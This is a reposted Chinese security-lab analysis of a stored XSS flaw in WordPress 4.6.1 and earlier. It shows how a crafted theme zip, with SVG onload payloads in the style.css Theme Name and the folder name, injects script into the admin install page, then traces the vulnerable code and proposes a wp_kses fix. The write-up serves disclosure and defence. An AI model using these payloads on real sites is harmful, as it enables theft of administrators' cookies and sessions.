IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    WordPress <= 4.6.1 使用主题文件触发存储型XSS 漏洞分析

    kk发表于 2016-10-11 08:50:38
    love 0

    Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-08

    0x00 漏洞概述


    1.漏洞简介

    WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统,近日研究者发现在其<=4.6.1版本中,通过上传恶意构造的主题文件可以触发一个后台存储型XSS漏洞。通过该漏洞,攻击者可以在能够上传主题文件的前提下执行获取管理员Cookie等敏感操作。

    2.漏洞影响

    在能够上传主题文件的前提下执行获取管理员Cookie等XSS可以进行的攻击,实际的攻击场景有以下两种:

    • 攻击者诱导管理员上传恶意构造的主题文件,且管理员并没有对文件进行检查
    • 攻击者拥有管理员权限可以直接上传主题文件,但既然已经有管理员权限再进行这样的攻击也就多此一举了

    3.影响版本

    <= 4.6.1

    0x01 漏洞复现


    1. 环境搭建

    docker pull wordpress<span class="token punctuation">:</span><span class="token number">4.6</span><span class="token punctuation">.</span><span class="token number">1</span>  
    docker pull mysql  
    docker run <span class="token operator">--</span>name wp<span class="token operator">-</span>mysql <span class="token operator">-</span>e MYSQL_ROOT_PASSWORD<span class="token operator">=</span>hellowp <span class="token operator">-</span>e MYSQL_DATABASE<span class="token operator">=</span>wp <span class="token operator">-</span>d mysql  
    docker run <span class="token operator">--</span>name wp <span class="token operator">--</span>link wp<span class="token operator">-</span>mysql<span class="token punctuation">:</span>mysql <span class="token operator">-</span>d wordpress

    2.漏洞分析

    我们先随便下载一个主题:

    wget https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>downloads<span class="token punctuation">.</span>wordpress<span class="token punctuation">.</span>org<span class="token operator">/</span>theme<span class="token operator">/</span>illdy<span class="token number">.1</span><span class="token punctuation">.</span><span class="token number">0.29</span><span class="token punctuation">.</span>zip  
    unzip <span class="token operator">-</span>x illdy<span class="token number">.1</span><span class="token punctuation">.</span><span class="token number">0.29</span><span class="token punctuation">.</span>zip

    然后对illdy/style.css进行如下更改:

    <span class="token comment">/*
    Theme Name: &lt;svg onload=alert(1234)&gt;  
    ... DO NOT CHANGES HERE ...
    */</span>

    接着更改文件夹名字再打包:

    mv illdy <span class="token string">"&lt;svg onload=alert(5678)&gt;"</span>  
    zip <span class="token operator">-</span>r theme<span class="token punctuation">.</span>zip <span class="token string">"&lt;svg onload=alert(5678)&gt;"</span>

    构造好之后我们登录后台上传该主题文件,同时开始动态调试。

    首先进入wp-admin/includes/class-theme-installer-skin.php中第55-82行:

    <span class="token variable">$name</span> <span class="token operator">=</span> <span class="token variable">$theme_info</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">display<span class="token punctuation">(</span></span><span class="token string">'Name'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
    
    <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token function">current_user_can<span class="token punctuation">(</span></span> <span class="token string">'edit_theme_options'</span> <span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">current_user_can<span class="token punctuation">(</span></span> <span class="token string">'customize'</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span>  
        <span class="token variable">$install_actions</span><span class="token punctuation">[</span><span class="token string">'preview'</span><span class="token punctuation">]</span> <span class="token operator">=</span> '<span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>' . wp_customize_url( $stylesheet ) . '<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>hide-if-no-customize load-customize<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">aria-hidden</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>true<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span><span class="token string">' . __( '</span>Live Preview<span class="token string">' ) . '</span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">&gt;</span></span></span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>screen-reader-text<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span><span class="token string">' . sprintf( __( '</span>Live Preview <span class="token operator">&amp;</span>#<span class="token number">8220</span><span class="token punctuation">;</span><span class="token operator">%</span>s<span class="token operator">&amp;</span>#<span class="token number">8221</span><span class="token punctuation">;</span><span class="token string">' ), $name ) . '</span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">&gt;</span></span></span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">&gt;</span></span></span>'<span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
    <span class="token variable">$install_actions</span><span class="token punctuation">[</span><span class="token string">'activate'</span><span class="token punctuation">]</span> <span class="token operator">=</span> '<span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>' . esc_url( $activate_link ) . '<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>activatelink<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">aria-hidden</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>true<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span><span class="token string">' . __( '</span>Activate<span class="token string">' ) . '</span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">&gt;</span></span></span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>screen-reader-text<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span><span class="token string">' . sprintf( __( '</span>Activate <span class="token operator">&amp;</span>#<span class="token number">8220</span><span class="token punctuation">;</span><span class="token operator">%</span>s<span class="token operator">&amp;</span>#<span class="token number">8221</span><span class="token punctuation">;</span><span class="token string">' ), $name ) . '</span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">&gt;</span></span></span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">&gt;</span></span></span>'<span class="token punctuation">;</span>

    其中$theme_info的值如下:

    Alt text

    其中stylesheet和template的值为我们更改的文件夹名,headers.Name为更改的style.css中的Name。$theme_info中有我们可控的payload,其调用display函数后赋值给$name,$name直接与html拼接,所以关键点在display函数上,动态调试跟进到wp-includes/class-wp-theme.php中第630-646行:

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">display<span class="token punctuation">(</span></span> <span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token variable">$markup</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token variable">$translate</span> <span class="token operator">=</span> <span class="token boolean">true</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span>  
        <span class="token variable">$value</span> <span class="token operator">=</span> <span class="token this">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">get<span class="token punctuation">(</span></span> <span class="token variable">$header</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token boolean">false</span> <span class="token operator">===</span> <span class="token variable">$value</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
    
        <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token variable">$translate</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span> <span class="token function">empty<span class="token punctuation">(</span></span> <span class="token variable">$value</span> <span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token operator">!</span> <span class="token this">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">load_textdomain<span class="token punctuation">(</span></span><span class="token punctuation">)</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span>
            <span class="token variable">$translate</span> <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span>
    
        <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token variable">$translate</span> <span class="token punctuation">)</span>
            <span class="token variable">$value</span> <span class="token operator">=</span> <span class="token this">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">translate_header<span class="token punctuation">(</span></span> <span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token variable">$value</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    
        <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token variable">$markup</span> <span class="token punctuation">)</span>
            <span class="token variable">$value</span> <span class="token operator">=</span> <span class="token this">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">markup_header<span class="token punctuation">(</span></span> <span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token variable">$value</span><span class="token punctuation">,</span> <span class="token variable">$translate</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    
        <span class="token keyword">return</span> <span class="token variable">$value</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    由之前的调用可知,这里的$header的值为Name。首先看$this-get($header),在wp-includes/class-wp-theme.php中第594-617行:

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">get<span class="token punctuation">(</span></span> <span class="token variable">$header</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span>  
            <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
                <span class="token this">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">headers_sanitized</span><span class="token punctuation">[</span> <span class="token variable">$header</span> <span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token this">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">sanitize_header<span class="token punctuation">(</span></span> <span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token this">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">headers</span><span class="token punctuation">[</span> <span class="token variable">$header</span> <span class="token punctuation">]</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
            <span class="token keyword">return</span> <span class="token this">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">headers_sanitized</span><span class="token punctuation">[</span> <span class="token variable">$header</span> <span class="token punctuation">]</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

    这里省略了与漏洞无关的部分,程序进入了$this->sanitize_header,在wp-includes/class-wp-theme.php第661-705行:

    <span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function">sanitize_header<span class="token punctuation">(</span></span> <span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token variable">$value</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span>  
        <span class="token keyword">switch</span> <span class="token punctuation">(</span> <span class="token variable">$header</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
            <span class="token keyword">case</span> <span class="token string">'Name'</span> <span class="token punctuation">:</span>
                <span class="token keyword">static</span> <span class="token variable">$header_tags</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span>
                    <span class="token string">'abbr'</span>    <span class="token operator">=</span><span class="token operator">&gt;</span> <span class="token keyword">array</span><span class="token punctuation">(</span> <span class="token string">'title'</span> <span class="token operator">=</span><span class="token operator">&gt;</span> <span class="token boolean">true</span> <span class="token punctuation">)</span><span class="token punctuation">,</span>
                    <span class="token string">'acronym'</span> <span class="token operator">=</span><span class="token operator">&gt;</span> <span class="token keyword">array</span><span class="token punctuation">(</span> <span class="token string">'title'</span> <span class="token operator">=</span><span class="token operator">&gt;</span> <span class="token boolean">true</span> <span class="token punctuation">)</span><span class="token punctuation">,</span>
                    <span class="token string">'code'</span>    <span class="token operator">=</span><span class="token operator">&gt;</span> <span class="token boolean">true</span><span class="token punctuation">,</span>
                    <span class="token string">'em'</span>      <span class="token operator">=</span><span class="token operator">&gt;</span> <span class="token boolean">true</span><span class="token punctuation">,</span>
                    <span class="token string">'strong'</span>  <span class="token operator">=</span><span class="token operator">&gt;</span> <span class="token boolean">true</span><span class="token punctuation">,</span>
                <span class="token punctuation">)</span><span class="token punctuation">;</span>
                <span class="token variable">$value</span> <span class="token operator">=</span> <span class="token function">wp_kses<span class="token punctuation">(</span></span> <span class="token variable">$value</span><span class="token punctuation">,</span> <span class="token variable">$header_tags</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
                <span class="token keyword">break</span><span class="token punctuation">;</span>
            <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
    <span class="token punctuation">}</span>

    这里执行了Name这个分支,可以看到程序使用wp_kses对$value的值进行了过滤,仅允许$header_tags中的html符号,所以我们headers.Name的值<svg onload=alert(1234)>是不合法的,$value值被赋为空。

    然后程序回到了display函数,根据动态调试可以知道程序执行了$value = $this->markup_header( $header, $value, $translate );这个条件分支,再跟进,在wp-includes/class-wp-theme.php中第720-748行:

    <span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function">markup_header<span class="token punctuation">(</span></span> <span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token variable">$value</span><span class="token punctuation">,</span> <span class="token variable">$translate</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span>  
        <span class="token keyword">switch</span> <span class="token punctuation">(</span> <span class="token variable">$header</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">case</span> <span class="token string">'Name'</span> <span class="token punctuation">:</span>
                <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token function">empty<span class="token punctuation">(</span></span> <span class="token variable">$value</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span>
                    <span class="token variable">$value</span> <span class="token operator">=</span> <span class="token this">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">get_stylesheet<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>
                <span class="token keyword">break</span><span class="token punctuation">;</span>
            <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
        <span class="token keyword">return</span> <span class="token variable">$value</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    这里我们看到由于$value在之前被赋为空,导致此处$value被重新赋值为了$this->get_stylesheet(),也就是值为<svg onload=alert(5678)>的stylesheet变量。最后返回的$value赋给了$name,$name再与html拼接返回给客户端,从而触发了漏洞:

    xss_js-1

    xss_html

    这个漏洞有趣的地方在于style.css中的payload其实起到的是一个障眼法的作用,正是因为<svg onload=alert(1234)>被过滤了才使$value被赋值成了我们真正的payload<svg onload=alert(5678)>。所以在构造主题文件的时候style.css和文件夹名这两个地方都要更改。

    3.补丁分析

    可能是由于利用条件十分苛刻,目前Wordpress官方还没有发布补丁,最新版Wordpress仍存在该漏洞。

    0x02 修复方案


    在官方发布补丁前,管理员应提高安全意识,不要轻易使用来路不明的主题。

    对于开发者来说建议对$name进行合法性检查,例如这样:

    <span class="token variable">$allowed_html</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span>
        <span class="token string">'em'</span>      <span class="token operator">=</span><span class="token operator">&gt;</span> <span class="token boolean">true</span><span class="token punctuation">,</span>
        <span class="token string">'strong'</span>  <span class="token operator">=</span><span class="token operator">&gt;</span> <span class="token boolean">true</span><span class="token punctuation">,</span>
    <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token variable">$name</span> <span class="token operator">=</span> <span class="token function">wp_kses<span class="token punctuation">(</span></span><span class="token variable">$name</span><span class="token punctuation">,</span> <span class="token variable">$allowed_html</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

    0x03 参考


    • https://www.seebug.org/vuldb/ssvid-92458
    • https://www.mehmetince.net/low-severity-wordpress-461-stored-xss-via-theme-file
    • https://codex.wordpress.org/FunctionReference/wpkses


沪ICP备19023445号-2号
友情链接